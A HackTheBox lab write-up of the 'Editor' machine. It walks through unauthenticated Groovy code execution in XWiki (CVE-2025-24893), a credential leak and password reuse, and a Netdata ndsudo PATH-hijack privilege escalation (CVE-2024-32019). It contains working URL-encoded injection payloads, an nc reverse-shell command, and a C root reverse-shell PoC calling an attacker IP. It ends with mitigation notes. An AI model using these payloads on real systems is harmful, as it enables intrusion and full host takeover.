HTB Writeup: Editor
XWiki SolrSearchMacros unauth RCE → reverse shell (xwiki) → DB creds in hibernate.cfg.xml → SSH as oliver via reused password → Netdata ndsudo PATH hijack (CVE-2024-32019) → root.
A quick walkthrough of HTB Editor Linux Easy Box.
TL;DR
- Port 8080 runs XWiki (Jetty). Dashboard shows 15.10.8, which is vulnerable to CVE-2025-24893 (SolrSearch macro → unauth Groovy RCE) — CVSS 9.8.
- Proved code exec via the RSS endpoint, then popped a reverse shell as
xwiki. - Grabbed DB creds from
WEB-INF/hibernate.cfg.xml, then reused password to SSH as oliver. - Privilege escalation: abused Netdata
ndsudoSUID tool untrusted PATH issue (CVE-2024-32019) to get root.
Initial enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ sudo nmap -Pn -n 10.129.165.167 -sC -sV -T4 -A -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 12:36 CEST
Nmap scan report for 10.129.165.167
Host is up (0.063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http Jetty 10.0.20
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
|_http-open-proxy: Proxy might be redirecting requests
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.165.167:8080/xwiki/bin/view/Main/
|_http-server-header: Jetty(10.0.20)
| http-webdav-scan:
| Server Type: Jetty(10.0.20)
| WebDAV type: Unknown
|_ Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 195.48 ms 10.10.14.1
2 195.57 ms 10.129.165.167
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.74 seconds
This box exposes SSH and two HTTP services (80 & 8080).
Foothold
So we’ll begin exploring the http app on port 80
Nothing really useful (download links for platform binaries).
However, the wiki running on port 8080 looks more interesting :
The XWiki version reported on the dashboard is 15.10.8
After looking for any relevant exploit, we found a matching CVE-2025-24893 : unauthenticated RCE via SolrSearch macro—attacker-controlled Groovy in the search text parsed by the RSS endpoint. Patched in 15.10.11 and 16.4.1.
https://github.com/advisories/GHSA-rr6p-3pfg-562j
The vulnerability allows for RCE as guest via SolrSearchMacros request. This vulnerability has a CVSS score of 9.8.
Considering the mentionned example :
1
<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20
If there is an output, and the title of the RSS feed contains Hello from search text:42, then the instance is vulnerable.
So we fired the request :
1
2
3
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ curl 'http://wiki.editor.htb:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D'
<p><?xml version="1.0" encoding="UTF-8"?><br/><rss xmlns:dc="<span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://purl.org/dc/elements/1.1/"><span class="wikigeneratedlinkcontent">http://purl.org/dc/elements/1.1/</span></a></span>" version="2.0"><br/> <channel><br/> <title>RSS feed for search on [}}}Hello from search text:42]</title><br/> <link><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://wiki.editor.htb:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"><span class="wikigeneratedlinkcontent">http://wiki.editor.htb:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span></link><br/> <description>RSS feed for search on [}}}Hello from search text:42]</description><br/> <language>en</language><br/> <copyright /><br/> <dc:creator>XWiki</dc:creator><br/> <dc:language>en</dc:language><br/> <dc:rights /><br/> </channel><br/></rss></p><div class="wikimodel-emptyline"></div><div class="wikimodel-emptyline"></div>
The instance is vulnerable !
We now have to craft a payload and test command execution. Our initial payload will be :
1
println("CMD OUTPUT: " + "id".execute().text)
Then we’ll have to add the first part and URL encode the whole payload :
1
2
3
4
5
}}}{{async async=false}}{{groovy}}println("CMD OUTPUT: " + "id".execute().text){{/groovy}}{{/async}}
URL-Encoded:
%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22CMD%20OUTPUT%3A%20%22%20%2B%20%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
We can now test and should receive the result of the id command :
1
2
3
4
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ curl 'http://wiki.editor.htb:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22CMD%20OUTPUT%3A%20%22%20%2B%20%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D'
<p><?xml version="1.0" encoding="UTF-8"?><br/><rss xmlns:dc="<span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://purl.org/dc/elements/1.1/"><span class="wikigeneratedlinkcontent">http://purl.org/dc/elements/1.1/</span></a></span>" version="2.0"><br/> <channel><br/> <title>RSS feed for search on [}}}CMD OUTPUT: uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)]</title><br/> <link><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://wiki.editor.htb:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22CMD%20OUTPUT%3A%20%22%20%2B%20%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"><span class="wikigeneratedlinkcontent">http://wiki.editor.htb:8080/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22CMD%20OUTPUT%3A%20%22%20%2B%20%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span></link><br/> <description>RSS feed for search on [}}}CMD OUTPUT: uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)]</description><br/> <language>en</language><br/> <copyright /><br/> <dc:creator>XWiki</dc:creator><br/> <dc:language>en</dc:language><br/> <dc:rights /><br/> </channel><br/></rss></p><div class="wikimodel-emptyline"></div><div class="wikimodel-emptyline"></div>
Working ! It’s now time to craft a reverse shell and gain system access :
The same principle applies here, injecting a revshell payload in the same structure
1
2
3
4
5
6
7
8
9
Initial Payload :
busybox nc 10.10.14.71 9001 -e /bin/bash
}}}{{async async=false}}{{groovy}}println("CMD OUTPUT: " + "busybox nc 10.10.14.71 9001 -e /bin/bash".execute().text){{/groovy}}{{/async}}
URL-Encoded :
%7d%7d%7d%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%66%61%6c%73%65%7d%7d%7b%7b%67%72%6f%6f%76%79%7d%7d%70%72%69%6e%74%6c%6e%28%22%43%4d%44%20%4f%55%54%50%55%54%3a%20%22%20%2b%20%22%62%75%73%79%62%6f%78%20%6e%63%20%31%30%2e%31%30%2e%31%34%2e%37%31%20%39%30%30%31%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%22%2e%65%78%65%63%75%74%65%28%29%2e%74%65%78%74%29%7b%7b%2f%67%72%6f%6f%76%79%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d
And we executed the request :
1
curl 'http://wiki.editor.htb:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%66%61%6c%73%65%7d%7d%7b%7b%67%72%6f%6f%76%79%7d%7d%70%72%69%6e%74%6c%6e%28%22%43%4d%44%20%4f%55%54%50%55%54%3a%20%22%20%2b%20%22%62%75%73%79%62%6f%78%20%6e%63%20%31%30%2e%31%30%2e%31%34%2e%37%31%20%39%30%30%31%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%22%2e%65%78%65%63%75%74%65%28%29%2e%74%65%78%74%29%7b%7b%2f%67%72%6f%6f%76%79%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d'
We then spun an nc listener and check the result :
1
2
3
4
5
6
┌──(sc4nx㉿attackhost)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.71] from (UNKNOWN) [10.129.161.114] 45736
id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Great, we now have access.
Note: Automated exploit is available here : https://github.com/gunzf0x/CVE-2025-24893
Let’s upgrade our shell to a fully interactive TTY :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(sc4nx㉿attackhost)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.71] from (UNKNOWN) [10.129.161.114] 48008
id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
python3 -c 'import pty; pty.spawn("/bin/bash")'
xwiki@editor:/usr/lib/xwiki-jetty$ export TERM=xterm;stty rows 40 columns 120
export TERM=xterm;stty rows 40 columns 120
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
[1]+ Stopped nc -nlvp 9001
┌──(sc4nx㉿attackhost)-[~]
└─$ stty raw -echo; fg
nc -nlvp 9001
xwiki@editor:/usr/lib/xwiki-jetty$
xwiki@editor:/usr/lib/xwiki-jetty$ ls -la
total 72
drwxr-xr-x 5 root root 4096 Jul 29 11:48 .
drwxr-xr-x 91 root root 4096 Jul 29 11:55 ..
drwxr-xr-x 6 root root 4096 Jul 29 11:48 jetty
lrwxrwxrwx 1 root root 14 Mar 27 2024 logs -> /var/log/xwiki
drwxr-xr-x 2 root root 4096 Jul 29 11:48 start.d
-rw-r--r-- 1 root root 5551 Mar 27 2024 start_xwiki.bat
-rw-r--r-- 1 root root 6223 Mar 27 2024 start_xwiki_debug.bat
-rw-r--r-- 1 root root 10530 Mar 27 2024 start_xwiki_debug.sh
-rw-r--r-- 1 root root 9340 Mar 27 2024 start_xwiki.sh
-rw-r--r-- 1 root root 2486 Mar 27 2024 stop_xwiki.bat
-rw-r--r-- 1 root root 6749 Mar 27 2024 stop_xwiki.sh
drwxr-xr-x 3 root root 4096 Jun 13 17:08 webapps
xwiki@editor:/usr/lib/xwiki-jetty$ ls -l webapps/
total 4
drwxr-xr-x 4 root root 4096 Jul 29 11:48 root
lrwxrwxrwx 1 root root 14 Mar 27 2024 xwiki -> /usr/lib/xwiki
xwiki@editor:/usr/lib/xwiki-jetty$
User Flag
Now we have a stable shell, we began with some basic recon and found credentials in :
/usr/lib/xwiki/WEB-INF/hibernate.cfg.xml
1
2
3
4
5
6
7
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&connectionTimeZone=LOCAL&allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
<property name="hibernate.dbcp.poolPreparedStatements">true</property>
<property name="hibernate.dbcp.maxOpenPreparedStatements">20</property>
We can now check into MySQL for any other credentials :
1
2
3
4
5
6
7
mysql> SELECT * FROM xwikistrings where XWS_NAME='password';
+----------------------+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| XWS_ID | XWS_NAME | XWS_VALUE |
+----------------------+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| -5552625943482576562 | password | hash:SHA-512:dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef:6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a908bc293da82298053ba348872099bd88f059a7838c38b670153 |
+----------------------+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
This hash was not crackable. So we pivoted to another strategy and tried password reuse on any available system user. This paid off as the mysql password was the same for oliver.
We can now connect using ssh with oliver and the found mysql password, and then get the user flag :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ ssh oliver@editor.htb
The authenticity of host 'editor.htb (10.129.161.114)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editor.htb' (ED25519) to the list of known hosts.
oliver@editor.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Aug 7 02:17:05 PM UTC 2025
System load: 0.01 Processes: 232
Usage of /: 66.0% of 7.28GB Users logged in: 0
Memory usage: 56% IPv4 address for eth0: 10.129.161.114
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu Aug 7 14:17:07 2025 from 10.10.14.71
oliver@editor:~$
oliver@editor:~$ cat user.txt
ae10b36bde20882f66f91cb07f4b77b6
Privilege Escalation
oliver is part of the netdata group :
1
2
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
So we looked for any available public exploit and found a CVE : CVE-2024-32019
Exploit Poc :
https://github.com/AliElKhatteb/CVE-2024-32019-POC
Advisory :
https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
Explanation: The ndsudo tool is packaged as a root-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by the PATH environment variable. This allows an attacker to control where ndsudo looks for these commands, which may be a path the attacker has write access to.
We first compiled the exploit PoC :
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ cat poc.c
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-c", "bash -i >& /dev/tcp/10.10.14.71/9001 0>&1", NULL);
return 0;
}
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ x86_64-linux-gnu-gcc -o nvme poc.c -static
We then uploaded and executed the compiled exploit using PATH manipulation :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
oliver@editor:/tmp$ wget http://10.10.14.71/nvme
--2025-08-07 14:46:51-- http://10.10.14.71/nvme
Connecting to 10.10.14.71:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 758936 (741K) [application/octet-stream]
Saving to: ‘nvme’
nvme 100%[======================================================================================================================>] 741.15K 1.94MB/s in 0.4s
2025-08-07 14:46:52 (1.94 MB/s) - ‘nvme’ saved [758936/758936]
oliver@editor:/tmp$ chmod +x nvme
oliver@editor:/tmp$ PATH=/tmp:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Root Flag
We should now quickly receive the reverse shell as root in our nc listener :
1
2
3
4
5
6
7
8
9
10
11
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Editor]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.71] from (UNKNOWN) [10.129.161.114] 34778
root@editor:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),999(netdata),1000(oliver)
root@editor:/tmp# cat /root/root.txt
cat /root/root.txt
d75ce679a4186331ead1a5caaa7c15fe
root@editor:/tmp#
Mitigations / Blue team notes
For XWiki (CVE-2025-24893):
- Patch immediately to 15.10.11 (LTS) or 16.4.1+ (stable).
- Temporarily mitigate: disable guest access, restrict SolrSearch macro and server-side scripting (Groovy) to trusted users; block /xwiki/bin/get/* RSS endpoints at the reverse proxy until patched.
- Add a WAF rule to detect/deny {{groovy}} / {{async}} patterns in text= for the SolrSearch RSS handler.
Hardening the app & platform:
- Rotate and scope DB credentials (least-priv MySQL account; unique, not reused). Remove plaintext secrets from world-readable paths; use file perms (600 owned by service user).
- Fix cookie flags: JSESSIONID should be HttpOnly; Secure; SameSite=Lax/Strict (nmap flagged missing HttpOnly on Jetty). Prefer HTTPS everywhere with HSTS.
- Remove or limit risky HTTP methods (WebDAV PROPFIND, LOCK, UNLOCK) unless strictly required.
- Network egress controls: restrict outbound traffic from app servers to prevent reverse shells (only allow necessary destinations/ports).
For Netdata (CVE-2024-32019):
- Upgrade Netdata to v1.45.3 or v1.45.0-169 (patched).
- Remove SUID from ndsudo (chmod a-s /path/to/ndsudo), enforce absolute paths in the helper, and lock down group membership (remove non-admin users from netdata).
- Monitor for suspicious ndsudo executions and PATH manipulations.
Detection & response:
- Log and alert on requests to /xwiki/bin/get/Main/SolrSearch?media=rss&text=… containing macro markers ({{groovy}}, {{async}}).
- Watch for sudden Jetty/XWiki process spawns of bash, nc, or outbound TCP to uncommon ports.
- Hunt for unexpected files in /tmp with execute perms and recent ndsudo activity.


